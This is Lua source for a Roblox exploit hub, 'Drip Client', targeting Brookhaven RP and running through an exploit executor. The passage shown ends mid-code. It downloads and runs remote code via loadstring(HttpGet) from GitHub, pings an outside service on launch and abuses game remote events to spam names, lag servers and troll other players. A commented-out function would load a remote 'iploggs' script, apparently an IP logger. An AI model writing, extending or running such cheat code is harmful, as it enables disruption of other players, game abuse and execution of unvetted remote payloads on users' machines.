
Key RequiredUniversal
pcall(function() game:HttpGet("https://nexviewsservice.shardweb.app/services/drip_client/start") end)
local Translator = {}
Translator.Frases = loadstring(game:HttpGet("https://raw.githubusercontent.com/realgengar/Brookhaven/refs/heads/main/translations.lua"))()
local idioma = (game.Players.LocalPlayer.LocaleId or "en-US"):sub(1, 2):lower()
if not Translator.Frases[idioma] then idioma = "en" end
Translator.Idioma = idioma
function Translator:traduzir(frase)
return self.Frases[self.Idioma][frase] or frase
end
---- ///////////////Script Functions///////////////------
local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local HttpService = game:GetService("HttpService")
local playerName = game.Players.LocalPlayer.Name
local LocalPlayer = Players.LocalPlayer
local VirtualInputManager = game:GetService("VirtualInputManager")
local RunService = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local Camera = workspace.CurrentCamera
local Workspace = game:GetService("Workspace")
local UserInputService = game:GetService("UserInputService")
local redzlibContent = game:HttpGet("https://raw.githubusercontent.com/realgengar/Library/refs/heads/main/remake.lua", true)
local redzlib = loadstring(redzlibContent)()
if not redzlib then error("deu red") end
workspace.FallenPartsDestroyHeight = -math.huge
local Window = redzlib:MakeWindow({
Title = "Drip Client | Desofuscado By Gabz | Brookhaven Rp 🏡 ",
SaveFolder = "redz Hub | Brookhaven RP.lua"
})
Window:AddMinimizeButton({
Button = {
Image = "rbxassetid://72495850369898"
},
Corner = {
CornerRadius = UDim.new(0, 2)
},
Stroke = {
Color = Color3.new(0, 0, 0),
Transparency = 1,
Thickness = 1
}
})
local args = {
[1] = "RolePlayName",
[2] = "This Script Was Leaked by team Illuminati & WxDevelopee"
}
game:GetService("ReplicatedStorage").RE:FindFirstChild("1RPNam1eTex1t"):FireServer(unpack(args))
local function copyDiscordLink()
setclipboard("https://discord.gg/JTxVVp33xD")
end
--[[
local function AntiSkidder()
-- local antiSkidContent = game:HttpGet('https://raw.githubusercontent.com/scriptclient/Brookhaven/refs/heads/main/iploggs.lua', true)
-- loadstring(antiSkidContent)()
end
]]
local function chatlogs()
local player = game.Players.LocalPlayer
local gui = Instance.new("ScreenGui")
gui.Name = "PainelChatLogs"
gui.ResetOnSpawn = false
gui.Parent = player:WaitForChild("PlayerGui")
local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 400, 0, 250)
frame.Position = UDim2.new(0.5, -200, 0.5, -125)
frame.BackgroundColor3 = Color3.fromRGB(128, 0, 255)
frame.BackgroundTransparency = 0.3
frame.BorderSizePixel = 0
frame.AnchorPoint = Vector2.new(0.5, 0.5)
frame.Parent = gui
local corner = Instance.new("UICorner")
corner.CornerRadius = UDim.new(0, 12)
corner.Parent = frame
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -40, 0, 40)
title.Position = UDim2.new(0, 20, 0, 10)
title.BackgroundTransparency = 1
title.Text = "Changelog"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.Font = Enum.Font.GothamBold
title.TextSize = 22
title.TextXAlignment = Enum.TextXAlignment.Left
title.Parent = frame
local linha = Instance.new("Frame")
linha.Size = UDim2.new(0.9, 0, 0, 2)
linha.Position = UDim2.new(0.05, 0, 0, 50)
linha.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
linha.BorderSizePixel = 0
linha.Parent = frame
local closeButton = Instance.new("TextButton")
closeButton.Size = UDim2.new(0, 30, 0, 30)
closeButton.Position = UDim2.new(1, -35, 0, 5)
closeButton.BackgroundTransparency = 1
closeButton.Text = "×"
closeButton.TextColor3 = Color3.fromRGB(255, 255, 255)
closeButton.Font = Enum.Font.GothamBold
closeButton.TextSize = 20
closeButton.Parent = frame
local closeCorner = Instance.new("UICorner")
closeCorner.CornerRadius = UDim.new(0, 8)
closeCorner.Parent = closeButton
closeButton.MouseButton1Click:Connect(function()
gui:Destroy()
end)
local chatLog = Instance.new("TextLabel")
chatLog.Size = UDim2.new(0.9, 0, 0.7, 0)
chatLog.Position = UDim2.new(0.05, 0, 0, 60)
chatLog.BackgroundTransparency = 1
chatLog.Text = [[
• Add Tab Lags
• Add news Lag: Box,Book,Guitar [ Troll ]
• Add Annoy Fling [ Toggle ]
• Add Lag Select Target Player [ Provied ]
• add fling couch all v2 [ Button ]
• add Musics +10 [ Tab Car ]
• add tornado tool, wall tool, name tool [Character Tab]
• Fixed bugs
• ]]
chatLog.TextColor3 = Color3.fromRGB(255, 255, 255)
chatLog.Font = Enum.Font.Gotham
chatLog.TextSize = 16
chatLog.TextWrapped = true
chatLog.TextYAlignment = Enum.TextYAlignment.Top
chatLog.TextXAlignment = Enum.TextXAlignment.Left
chatLog.Parent = frame
frame.Size = UDim2.new(0, 0, 0, 0)
frame.Position = UDim2.new(0.5, 0, 0.5, 0)
local TweenService = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out)
local tween = TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(0, 400, 0, 250),
Position = UDim2.new(0.5, -200, 0.5, -125)
})
tween:Play()
end
Window:Dialog({
Title = Translator:traduzir("Seja Bem-Vindo(a)"),
Text = Translator:traduzir("E aí! Você acaba de dar o play no Drip Client. Não se preocupe, ele não morde a menos que você entre em nosso discord. Está aqui o melhor Hub. Bora nessa!"),
Options = {
{"Discord", function()
copyDiscordLink()
end},
{"Open", function()
AntiSkidder()
end},
{"logs", function()
chatlogs()
end
}
}
})
local Tabs = {
M = Window:MakeTab({Translator:traduzir("informações"), "Info"}),
H = Window:MakeTab({Translator:traduzir("Início"), "coffee"}),
PR = Window:MakeTab({Translator:traduzir("Proteção"), "shield"}),
Client = Window:MakeTab({Translator:traduzir("Spam/Client"), "eye"}),
JJ = Window:MakeTab({Translator:traduzir("Personagem"), "userplus"}),
TT = Window:MakeTab({Translator:traduzir("Trolar"), "flame"}),
LG = Window:MakeTab({Translator:traduzir("Lag Servidor"), "bomb"}),
AD = Window:MakeTab({Translator:traduzir("Audio/Musica"), "headphones"}),
AVT = Window:MakeTab({Translator:traduzir("Roupas"), "shirt"}),
HouseTab = Window:MakeTab({Translator:traduzir("Casa"), "home"}),
Carros = Window:MakeTab({Translator:traduzir("Carro"), "truck"}),
Tp = Window:MakeTab({Translator:traduzir("Portal"), "apple"}),
CFG = Window:MakeTab({Translator:traduzir("Configurações"), "Settings"})
}
Tabs.M:AddDiscordInvite({
Name = Translator:traduzir("Drip Hub | Community"),
Description = Translator:traduzir("Junte-se à nossa comunidade discord para receber informações sobre a próxima atualização"),
Logo = "rbxassetid://94502262507600",
Invite = "https://discord.gg/6YzXUMu49y"
})
Tabs.M:AddSection({Translator:traduzir("Acess Admin")})
Tabs.M:AddButton({Translator:traduzir("Painel Admin"), function()
Window:Dialog({
Title = Translator:traduzir("Como Obter Grátis"),
Text = Translator:traduzir("• Formas de conseguir acesso ao Painel Admin Premium:\nVocê pode obter de diferentes maneiras\nDando 2 boosts em nosso servidor e recebendo 20 dias de acesso.\nTornando-se um divulgador oficial."),
Options = {
{"Discord", function()
copyDiscordLink()
end}
}
})
end})
local function links()
setclipboard("https://discord.gg/6YzXUMu49y")
end
local gameName = "Unknown Game"
local success, gameInfo = pcall(function()
return game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
end)
if success and gameInfo then
gameName = gameInfo.Name
end
Tabs.M:AddSection({Translator:traduzir("Mapa Status")})
local Paragraph1 = Tabs.M:AddParagraph({Translator:traduzir("Nome do Jogo: " .. gameName)})
local executor = identifyexecutor()
local Paragraph = Tabs.M:AddParagraph({Translator:traduzir("Executor: " .. executor)})
do
Tabs.M:AddSection({Translator:traduzir("Ánuncios <announcement>")})
Tabs.M:AddButton({Translator:traduzir("Aviso Externo"), function()
Window:Dialog({
Title = "Erros",
Text = Translator:traduzir("• O script pode apresentar erros. Caso encontre algum, por favor, reporte-o no nosso Discord."),
Options = {
{"Link Discord", function()
copyDiscordLink()
end},
{"Fechar", function()
AntiSkidder()
end}
}
})
end})
Tabs.M:AddButton({Translator:traduzir("Aviso Externo2"), function()
Window:Dialog({
Title = "Update",
Text = Translator:traduzir("•Devido às atualizações, algumas funções podem parar de funcionar. Estamos trabalhando para garantir a melhor experiência."),
Options = {
{"Link Discord", function()
copyDiscordLink()
end},
{"Fechar", function()
AntiSkidder()
end}
}
})
end})
local Section = Tabs.M:AddSection({Translator:traduzir("Resoluções Da Tela")})
Tabs.M:AddButton({Translator:traduzir("Resolução Normal"),
function()
getgenv().Resolution = {
[".gg/scripters"] = 1.0
}
local Camera = workspace.CurrentCamera
if getgenv().gg_scripters == nil then
game:GetService("RunService").RenderStepped:Connect(
function()
Camera.CFrame = Camera.CFrame * CFrame.new(0, 0, 0, 1, 0, 0, 0, getgenv().Resolution[".gg/scripters"], 0, 0, 0, 1)
end
)
end
getgenv().gg_scripters = "Aori0001"
end
}
)
Tabs.M:AddButton({Translator:traduzir("Resolução 0.70"),
function()
getgenv().Resolution = {
[".gg/scripters"] = 0.70
}
local Camera = workspace.CurrentCamera
if getgenv().gg_scripters == nil then
game:GetService("RunService").RenderStepped:Connect(
function()
Camera.CFrame = Camera.CFrame * CFrame.new(0, 0, 0, 1, 0, 0, 0, getgenv().Resolution[".gg/scripters"], 0, 0, 0, 1)
end
)
end
getgenv().gg_scripters = "Aori0001"
end
}
)
Tabs.M:AddButton({Translator:traduzir("Resolução 0.80"),
function()
getgenv().Resolution = {
[".gg/scripters"] = 0.80
}
local Camera = workspace.CurrentCamera
if getgenv().gg_scripters == nil then
game:GetService("RunService").RenderStepped:Connect(
function()
Camera.CFrame = Camera.CFrame * CFrame.new(0, 0, 0, 1, 0, 0, 0, getgenv().Resolution[".gg/scripters"], 0, 0, 0, 1)
end
)
end
getgenv().gg_scripters = "Aori0001"
end
}
)
end
-----------------///////TABS - HH ///////-----------------
do
local Config = {
defaultSpeed = 16,
defaultJumpPower = 50,
defaultGravity = 196.2,
colorSpeed = 25,
updateInterval = 1,
statusUpdateInterval = 5
}
local PlayerStats = {
speedValue = Config.defaultSpeed,
jumpPower = Config.defaultJumpPower,
gravityValue = Config.defaultGravity
}
Tabs.H:AddSection({Translator:traduzir("Super Poderes")})
local function validateNumber(value, defaultValue)
local number = tonumber(value)
return number and number or defaultValue
end
local function updateCharacterProperty(property, value)
local character = LocalPlayer.Character
if character and character:FindFirstChild("Humanoid") then
character.Humanoid[property] = value
end
end
local speedTextBox = Tabs.H:AddTextBox({
Title = Translator:traduzir("Velocidade"),
Description = "Definir A Velocidade",
Default = tostring(Config.defaultSpeed),
PlaceholderText = "Speed",
ClearText = false,
Callback = function(value)
PlayerStats.speedValue = validateNumber(value, Config.defaultSpeed)
updateCharacterProperty("WalkSpeed", PlayerStats.speedValue)
end
})
local jumpTextBox = Tabs.H:AddTextBox({
Title = Translator:traduzir("Pulos"),
Description = Translator:traduzir("Definir Os Pulos"),
Default = tostring(Config.defaultJumpPower),
PlaceholderText = "Jump",
ClearText = false,
Callback = function(value)
PlayerStats.jumpPower = validateNumber(value, Config.defaultJumpPower)
updateCharacterProperty("JumpPower", PlayerStats.jumpPower)
end
})
local gravityTextBox = Tabs.H:AddTextBox({
Title = Translator:traduzir("Gravidade"),
Description = Translator:traduzir("Definir A Gravidade"),
Default = tostring(Config.defaultGravity),
PlaceholderText = "Gravity",
ClearText = false,
Callback = function(value)
PlayerStats.gravityValue = validateNumber(value, Config.defaultGravity)
workspace.Gravity = PlayerStats.gravityValue
end
})
local resetButton = Tabs.H:AddButton({
Translator:traduzir("Reseta <Velocidade/Gravidade/Pulos>"),
function()
PlayerStats.jumpPower = Config.defaultJumpPower
PlayerStats.speedValue = Config.defaultSpeed
PlayerStats.gravityValue = Config.defaultGravity
updateCharacterProperty("JumpPower", PlayerStats.jumpPower)
updateCharacterProperty("WalkSpeed", PlayerStats.speedValue)
workspace.Gravity = PlayerStats.gravityValue
end
})
Tabs.H:AddSection({Translator:traduzir("Status Atualização")})
local scoutTrack = Tabs.H:AddParagraph({Translator:traduzir("Dev: Kioshi Status")})
task.spawn(function()
while true do
local scout = workspace:FindFirstChild("scout7ixs")
local texto = ""
if scout then
local hrpScout = scout:FindFirstChild("HumanoidRootPart")
local hrpLocal = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if hrpScout and hrpLocal then
local distancia = math.floor((hrpScout.Position - hrpLocal.Position).Magnitude)
texto = texto .. string.format("está no servidor | Distância <%d>", distancia)
else
texto = texto .. "está no servidor | Distância <???>"
end
else
texto = texto .. "não está no servidor"
end
scoutTrack:Set(texto)
task.wait(Config.updateInterval)
end
end)
local tempoTrack = Tabs.H:AddParagraph({Translator:traduzir("Tempo De Uso De Script")})
local tempoAtual = 0
task.spawn(function()
while true do
local horas = math.floor(tempoAtual / 3600)
local minutos = math.floor((tempoAtual % 3600) / 60)
local segundos = tempoAtual % 60
local formatado = string.format("%02d:%02d:%02d", horas, minutos, segundos)
tempoTrack:Set(" " .. formatado)
tempoAtual += Config.statusUpdateInterval
task.wait(Config.statusUpdateInterval)
end
end)
local fpsParagraph = Tabs.H:AddParagraph({ "Mostra Fps" })
local lastUpdate = 0
local frameCount = 0
local currentFPS = 0
RunService.RenderStepped:Connect(function(dt)
frameCount += 1
lastUpdate += dt
if lastUpdate >= 1 then
currentFPS = frameCount
fpsParagraph:Set("FPS: " .. currentFPS)
frameCount = 0
lastUpdate = 0
end
end)
local playerCountParagraph = Tabs.H:AddParagraph({Translator:traduzir ("Quantidade De Pessoas" )})
local function updatePlayerCount()
local count = #Players:GetPlayers()
playerCountParagraph:Set(" " .. count)
end
Players.PlayerAdded:Connect(updatePlayerCount)
Players.PlayerRemoving:Connect(updatePlayerCount)
updatePlayerCount()
Tabs.H:AddSection({Translator:traduzir("Basquete <Item>")})
local BNumber = 1000
local Toggle = Tabs.H:AddToggle({Name = Translator:traduzir("Arremesso de bolas V2"), Description = Translator:traduzir("Telepkrt/Ball/Volta/Arremessa"), Default = false})
Toggle:Callback(function(state)
if state then
local Player = game.Players.LocalPlayer
local Backpack = Player and Player:FindFirstChild("Backpack")
local Mouse = Player and Player:GetMouse()
local Character = Player and Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Character and Character:FindFirstChild("HumanoidRootPart")
local Clone = workspace:FindFirstChild("WorkspaceCom") and workspace.WorkspaceCom:FindFirstChild("001_GiveTools") and workspace.WorkspaceCom["001_GiveTools"]:FindFirstChild("Basketball")
if not (Player and Backpack and Mouse and Character and Humanoid and RootPart and Clone) then
warn("Erro: alguma instância necessária não foi encontrada.")
return
end
local OldPos = RootPart.CFrame
for i = 1, BNumber do
task.wait()
RootPart.CFrame = Clone.CFrame
fireclickdetector(Clone:FindFirstChildOfClass("ClickDetector"))
end
task.wait()
RootPart.CFrame = OldPos
spawn(function()
while state do
task.wait()
for _, tool in ipairs(Character:GetChildren()) do
if tool.Name == "Basketball" then
task.wait(0.0003)
args = {
Mouse.Hit.p
}
tool:FindFirstChild("ClickEvent"):FireServer(unpack(args))
end
end
end
end)
end
end)
Tabs.H:AddSection({Translator:traduzir("Sistema Lgbt")})
local colorSpeed = Config.colorSpeed
Tabs.H:AddSlider({
Name = Translator:traduzir("Velocidade das cores"),
Min = 1,
Max = 25,
Increase = 1,
Default = colorSpeed,
Callback = function(Value)
colorSpeed = Value
end
})
local hairColors = {
Color3.new(1, 1, 0), Color3.new(0, 0, 1), Color3.new(1, 0, 1), Color3.new(1, 1, 1),
Color3.new(0, 1, 0), Color3.new(0.5, 0, 1), Color3.new(1, 0.647, 0), Color3.new(0, 1, 1)
}
local vibrantColors = {
Color3.fromRGB(255, 0, 0), Color3.fromRGB(0, 255, 0), Color3.fromRGB(0, 0, 255),
Color3.fromRGB(255, 255, 0), Color3.fromRGB(255, 0, 255), Color3.fromRGB(0, 255, 255),
Color3.fromRGB(255, 165, 0), Color3.fromRGB(128, 0, 128), Color3.fromRGB(255, 20, 147)
}
local colors = { "Bright red", "Lime green", "Bright blue", "Bright yellow", "Bright cyan", "Hot pink", "Royal purple" }
local isHairActive, isNameActive, isBioActive, toggleActive, rgbEnabled = false, false, false, false, false
Tabs.H:AddToggle({
Name = Translator:traduzir("Cabelo lgbt"),
Description = Translator:traduzir("Mudar a cor de cabelo automático"),
Default = false,
Callback = function(value)
isHairActive = value
end
})
Tabs.H:AddToggle({
Name = Translator:traduzir("Nome lgbt"),
Description = Translator:traduzir("Mudar a cor do nome automático"),
Default = false,
Callback = function(value)
isNameActive = value
end
})
Tabs.H:AddToggle({
Name = Translator:traduzir("Bio lgbt"),
Description = Translator:traduzir("Mudar a cor da bio automático"),
Default = false,
Callback = function(value)
isBioActive = value
end
})
Tabs.H:AddToggle({
Name = Translator:traduzir("Rosas Lgbt"),
Description = Translator:traduzir("Muda a cor da rosa automaticamente"),
Default = false,
Callback = function(value)
toggleActive = value
end
})
Tabs.H:AddToggle({
Name = Translator:traduzir("Personagem Lgbt"),
Description = Translator:traduzir("Deixa seu personagem RGB automaticamente"),
Default = false,
Callback = function(value)
rgbEnabled = value
end
})
task.spawn(function()
local iHair, iName, iBio, iChar = 1, 1, 1, 1
while true do
if isHairActive then
local hairArg = { "ChangeHairColor2", hairColors[iHair] }
ReplicatedStorage.RE:FindFirstChild("1Max1y"):FireServer(unpack(hairArg))
iHair = iHair % #hairColors + 1
end
if isNameActive then
local nameArg = { "PickingRPNameColor", vibrantColors[iName] }
ReplicatedStorage.RE:FindFirstChild("1RPNam1eColo1r"):FireServer(unpack(nameArg))
iName = iName % #vibrantColors + 1
end
if isBioActive then
local bioArg = { "PickingRPBioColor", vibrantColors[iBio] }
ReplicatedStorage.RE:FindFirstChild("1RPNam1eColo1r"):FireServer(unpack(bioArg))
iBio = iBio % #vibrantColors + 1
end
if rgbEnabled then
local bodyArg = { colors[iChar] }
ReplicatedStorage:WaitForChild("Remotes"):WaitForChild("ChangeBodyColor"):FireServer(unpack(bodyArg))
iChar = iChar % #colors + 1
end
if toggleActive then
local char = LocalPlayer.Character
local rosas = char and char:FindFirstChild("Roses")
if rosas and rosas:FindFirstChild("ToolSound") then
local ids = {
"rbxassetid://5210399458",
"rbxassetid://5210414520",
"rbxassetid://5216708760",
"rbxassetid://5210414112"
}
for _, id in ipairs(ids) do
local args = { "Roses", id }
rosas.ToolSound:FireServer(unpack(args))
task.wait(0.1)
end
end
end
task.wait(1 / colorSpeed)
end
end)
Tabs.H:AddSection({Translator:traduzir("Repetição De Nomes")})
local Remote = ReplicatedStorage.RE:FindFirstChild("1RPNam1eTex1t")
local name1, name2, name3 = "", "", ""
local repeatNames = false
Tabs.H:AddTextBox({
Title = Translator:traduzir("Nome"),
Description = Translator:traduzir("Primeiro Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Aqui",
ClearText = false,
Callback = function(N)
name1 = N
end
})
Tabs.H:AddTextBox({
Title = Translator:traduzir("Nome"),
Description = Translator:traduzir("Segundo Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Aqui",
ClearText = false,
Callback = function(N)
name2 = N
end
})
Tabs.H:AddTextBox({
Title = Translator:traduzir("Nome"),
Description = Translator:traduzir("Terceiro Nome Da Repetição!"),
Default = "",
PlaceholderText = "Nick Aqui",
ClearText = false,
Callback = function(N)
name3 = N
end
})
local function getRandomColor()
return Color3.new(math.random(), math.random(), math.random())
end
local RemoteEvent = ReplicatedStorage.RE:FindFirstChild("1RPNam1eColo1r")
local nameColorRunning = false
local function changeNameColor()
while nameColorRunning do
local randomColor = getRandomColor()
local args = {
[1] = "PickingRPNameColor",
[2] = randomColor
}
RemoteEvent:FireServer(unpack(args))
task.wait(0.5)
end
end
local Toggle = Tabs.H:AddToggle({
Name = Translator:traduzir("NOME RGB"),
Description = Translator:traduzir("mudar a cor dos nomes automático"),
Default = false
})
Toggle:Callback(function(Value)
nameColorRunning = Value
if nameColorRunning then
task.spawn(changeNameColor)
end
end)
local Toggle = Tabs.H:AddToggle({
Name = Translator:traduzir("Reptir Nomes"),
Description = Translator:traduzir("Repitir nomes da textbox automaticamente"),
Default = false
})
Toggle:Callback(function(R)
repeatNames = R
if R then
task.spawn(function()
while repeatNames do
if Remote then
Remote:FireServer("RolePlayName", name1)
task.wait(1)
Remote:FireServer("RolePlayName", name2)
task.wait(1)
Remote:FireServer("RolePlayName", name3)
task.wait(1)
end
end
end)
end
end)
Tabs.H:AddSection({Translator:traduzir("Nomes Ja feitos!")})
local names = {
{"TINTALEY", " TINTALEY "},
{"erro_426", " erro_246 "},
{"Tralalero", " Tralalero "},
{"VIGOR VIGOR VIGOR", " VIGOR VIGOR VIGOR "},
{"HACKED", " HACKED "},
{"ERESGAY", " ERESGAY "}
}
for _, name in ipairs(names) do
Tabs.H:AddButton({
Name = "Nomes Feitos: " .. name[1],
Callback = function()
game:GetService("ReplicatedStorage").RE["1RPNam1eTex1t"]:FireServer("RolePlayName", name[2])
end
})
end
end
-----------------///////TABS - PR///////-----------------
Tabs.PR:AddSection({Translator:traduzir("Proteções Local & Anti Lags")})
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local player = Players.LocalPlayer
local antiToolSit, antiCarSit, antiVehicleCollision = false, false, false
local conns = {}
local dripsActive = false
local keywords = { "bomb", "soccer", "boat" }
local carKeyword = "car"
local wheelKeyword = "wheel"
local function containsKeyword(name, list)
if typeof(name) ~= "string" then return false end
local lower = name:lower()
for _, word in ipairs(list) do
if lower:find(word) then
return true
end
end
return false
end
local function applyCollisionLogic(obj)
if not obj:IsA("BasePart") then return end
local name = obj.Name:lower()
if name:find(wheelKeyword) then return end
local isKeyword = containsKeyword(name, keywords)
local isCar = false
local parent = obj
while parent do
local pname = parent.Name:lower()
if pname:find(wheelKeyword) then return end
if pname:find(carKeyword) then
isCar = true
break
end
parent = parent.Parent
end
if isCar then
obj.CanCollide = not antiCarSit
elseif isKeyword then
obj.CanCollide = not antiVehicleCollision
end
end
local function fullScan()
for _, obj in ipairs(Workspace:GetDescendants()) do
applyCollisionLogic(obj)
end
end
local function dripsolutions()
if dripsActive then return end
dripsActive = true
fullScan()
table.insert(conns, Workspace.DescendantAdded:Connect(applyCollisionLogic))
end
local function updateSitState()
local hum = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if hum then
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, not (antiToolSit or antiCarSit))
end
end
local function onCharacterAdded(char)
local hum = char:WaitForChild("Humanoid")
updateSitState()
table.insert(conns, hum.StateChanged:Connect(function(_, new)
if (antiToolSit or antiCarSit) and new == Enum.HumanoidStateType.Seated then
hum:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end))
end
player.CharacterAdded:Connect(onCharacterAdded)
if player.Character then
onCharacterAdded(player.Character)
end
local function handleToggle()
if antiToolSit or antiCarSit or antiVehicleCollision then
dripsolutions()
end
updateSitState()
fullScan()
end
local Toggle1 = Tabs.PR:AddToggle({
Name = Translator:traduzir("Anti Tool"),
Description = Translator:traduzir("Impede sentar via Tool"),
Default = false
})
Toggle1:Callback(function(Value)
antiToolSit = Value
handleToggle()
end)
local Toggle2 = Tabs.PR:AddToggle({
Name = Translator:traduzir("Anti Car"),
Description = Translator:traduzir("Impede sentar em Carro"),
Default = false
})
Toggle2:Callback(function(Value)
antiCarSit = Value
handleToggle()
end)
local Toggle3 = Tabs.PR:AddToggle({
Name = Translator:traduzir("Anti Script"),
Description = Translator:traduzir("Proteção contra colisões de veículos/objetos"),
Default = false
})
Toggle3:Callback(function(Value)
antiVehicleCollision = Value
handleToggle()
end)
local RunService = game:GetService("RunService")
local AntiWeaponConn
local AntiWeapon_Toggle = Tabs.PR:AddToggle({
Name = Translator:traduzir("Anti Bug"),
Description = Translator:traduzir("Bug players/Bug Weapon/Protection rapidez"),
Default = false
})
AntiWeapon_Toggle:Callback(function(enabled)
if AntiWeaponConn then
AntiWeaponConn:Disconnect()
AntiWeaponConn = nil
end
if enabled then
AntiWeaponConn = RunService.Stepped:Connect(function()
local cam = workspace.CurrentCamera or workspace:FindFirstChild("Camera")
if not cam then return end
for _, obj in ipairs(cam:GetChildren()) do
if obj:IsA("BasePart") and obj.Name == "water" then
pcall(function() obj:Destroy() end)
end
end
end)
end
end)
local AntiChatSpy_Toggle = Tabs.PR:AddToggle({
Name = Translator:traduzir("Anti ChatSpy"),
Description = Translator:traduzir("Impede que outros vejam seus chats <Creator>"),
Default = false
})
AntiChatSpy_Toggle:Callback(function(Value)
if Value then
local ChatSpy = game:GetService("Players").LocalPlayer.PlayerScripts:FindFirstChild("ChatSpy")
if ChatSpy then
ChatSpy.Disabled = true
end
else
local ChatSpy = game:GetService("Players").LocalPlayer.PlayerScripts:FindFirstChild("ChatSpy")
if ChatSpy then
ChatSpy.Disabled = false
end
end
end)
--[[
local Players = game:GetService("Players")
local Workspace = game:GetService("Workspace")
local RunService = game:GetService("RunService")
local player = Players.LocalPlayer
local antiToolSit, antiCarSit, antiVehicleCollision = false, false, false
local conns = {}
local keywords = { "bomb", "soccer", "boat" }
local carKeyword = "car"
local wheelKeyword = "wheel"
local function containsKeyword(name, list)
if typeof(name) ~= "string" then return false end
local lower = name:lower()
for _, word in ipairs(list) do
if lower:find(word) then
return true
end
end
return false
end
local function applyCollisionLogic(obj)
if not obj:IsA("BasePart") then return end
local name = obj.Name:lower()
if name:find(wheelKeyword) then return end
local isKeyword = containsKeyword(name, keywords)
local isCar = false
local parent = obj
while parent do
local pname = parent.Name:lower()
if pname:find(wheelKeyword) then return end
if pname:find(carKeyword) then
isCar = true
break
end
parent = parent.Parent
end
if isCar then
obj.CanCollide = not antiCarSit
elseif isKeyword then
obj.CanCollide = not antiVehicleCollision
end
end
local function fullScan()
for _, obj in ipairs(Workspace:GetDescendants()) do
applyCollisionLogic(obj)
end
end
local function dripsolutions()
fullScan()
table.insert(conns, Workspace.DescendantAdded:Connect(applyCollisionLogic))
end
local function updateSitState()
local hum = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if hum then
hum:SetStateEnabled(Enum.HumanoidStateType.Seated, not (antiToolSit or antiCarSit))
end
end
local function onCharacterAdded(char)
local hum = char:WaitForChild("Humanoid")
updateSitState()
table.insert(conns, hum.StateChanged:Connect(function(_, new)
if (antiToolSit or antiCarSit) and new == Enum.HumanoidStateType.Seated then
hum:ChangeState(Enum.HumanoidStateType.GettingUp)
end
end))
end
player.CharacterAdded:Connect(onCharacterAdded)
if player.Character then
onCharacterAdded(player.Character)
end
dripsolutions()
local Toggle1 = Tabs.PR:AddToggle({Name = Translator:traduzir("Anti Tool"), Description = Translator:traduzir("Impede sentar via Tool"), Default = false})
Toggle1:Callback(function(Value)
antiToolSit = Value
updateSitState()
fullScan()
end)
[local Toggle2 = Tabs.PR:AddToggle({Name = Translator:traduzir("Anti Car"), Description = Translator:traduzir("Impede sentar em Carro"), Default = false})
Toggle2:Callback(function(Value)
antiCarSit = Value
updateSitState()
fullScan()
end)]
local Toggle3 = Tabs.PR:AddToggle({Name = Translator:traduzir("Anti Script"), Description = Translator:traduzir("Proteção contra colisões de veículos/objetos"), Default = false})
Toggle3:Callback(function(Value)
antiVehicleCollision = Value
updateSitState()
fullScan()
end)]]
Tabs.PR:AddSection({Translator:traduzir("Efeito e desefeitos")})
local Button = Tabs.PR:AddButton({Translator:traduzir("Anti Lag"), function()
local itemsToRemove = {
"Burger Tray", "Bomb", "Laptop", "Paper Bag", "Chips", "Ice Cream", "Taser",
"Basketball", "FireX", "Ladder", "Ghost Meter", "Clipboard", "Stretcher", "Glock",
"Electric Guitar", "Guitar", "Book", "Box", "Frap Strawberry", "Bank Keycard",
"White Keycard", "Mop", "Iphone", "Ipad"
}
local removeLookup = {}
do
for _, name in ipairs(itemsToRemove) do
removeLookup[name] = true
end
end
local ClearDelay = 0.5
local function destroyItemsInCharacter(character)
do
if not character then return end
for _, item in ipairs(character:GetChildren()) do
if removeLookup[item.Name] then
pcall(function()
item:Destroy()
end)
end
end
end
end
local function processPlayers()
do
for _, player in ipairs(game.Players:GetPlayers()) do
pcall(function()
if player.Character then
destroyItemsInCharacter(player.Character)
end
end)
end
end
end
task.spawn(function()
while task.wait(ClearDelay) do
processPlayers()
end
end)
end})
Tabs.PR:AddButton({Translator:traduzir("Shaders"), function()
local Dialog = Window:Dialog({
Title = Translator:traduzir("Oque é isso?"),
Text = Translator:traduzir("Deixa seu jogo mais bonito e mais vivo"),
Options = {
{"Usar", function()
loadstring(game:HttpGet(('https://raw.githubusercontent.com/realgengar/scripts/refs/heads/main/free'),true))()
end},
{"Não Usar", function()
end}
}
})
end})
-----------------///////TABS - CLIENT///////-----------------
do
local Config = {
-- chatDelay = 1,
-- espUpdateRate = 0.1,
jetSpawnDelay = 0.6,
jetMoveDelay = 0.4
}
--[[Tabs.Client:AddSection({"Chat Configs"})
local ChatSystem = {
textSave = "",
autoSpamActive = false,
delay = Config.chatDelay
}
local tcs = TextChatService
local chat = tcs.ChatInputBarConfiguration and tcs.ChatInputBarConfiguration.TargetTextChannel
local function sendChat(msg)
if not msg or msg == "" then return end
if tcs.ChatVersion == Enum.ChatVersion.LegacyChatService then
local chatEvents = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
if chatEvents and chatEvents:FindFirstChild("SayMessageRequest") then
chatEvents.SayMessageRequest:FireServer(msg, "All")
end
elseif chat then
chat:SendAsync(msg)
end
end
Tabs.Client:AddTextBox({
Name = Translator:traduzir("Nova Mensagem"),
PlaceholderText = Translator:traduzir("Digite sua mensagem aqui..."),
Callback = function(text)
ChatSystem.textSave = text
end
})
Tabs.Client:AddButton({
Name = Translator:traduzir("Enviar Mensagem"),
Callback = function()
sendChat(ChatSystem.textSave)
end
})
Tabs.Client:AddSlider({
